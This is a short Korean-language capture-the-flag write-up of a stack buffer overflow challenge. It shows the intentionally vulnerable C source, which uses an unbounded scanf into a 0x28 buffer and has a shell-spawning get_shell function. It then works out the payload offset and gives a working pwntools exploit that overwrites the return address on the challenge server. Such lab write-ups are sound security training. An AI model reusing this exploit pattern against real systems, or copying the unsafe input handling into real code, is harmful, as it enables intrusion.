문제를 읽어보고 다운 받아 리눅스에서 실행시켜 본다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
문제를 다운 받았을 때 제공되는 파일의 코드이다.
위 파일을 컴파일한 뒤 디버깅을 해보면
현재 스택 프래임이 buf(0x30) + SFP(0x8) + ret(0x8)라는 것을 알 수 있다.
다음은 반환 주소를 덮어 쓸 get_shell의 주소이다.
get_shell()의 주소는 0x4006aa이다.
따라서 payload는 b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'이다.
from pwn import *
p = remote("host1.dreamhack.games", 21162)
context.arch = "amd64"
payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()
exploit코드를 작성해 보았다.
이것을 실행해보면 DH를 얻을 수 있다.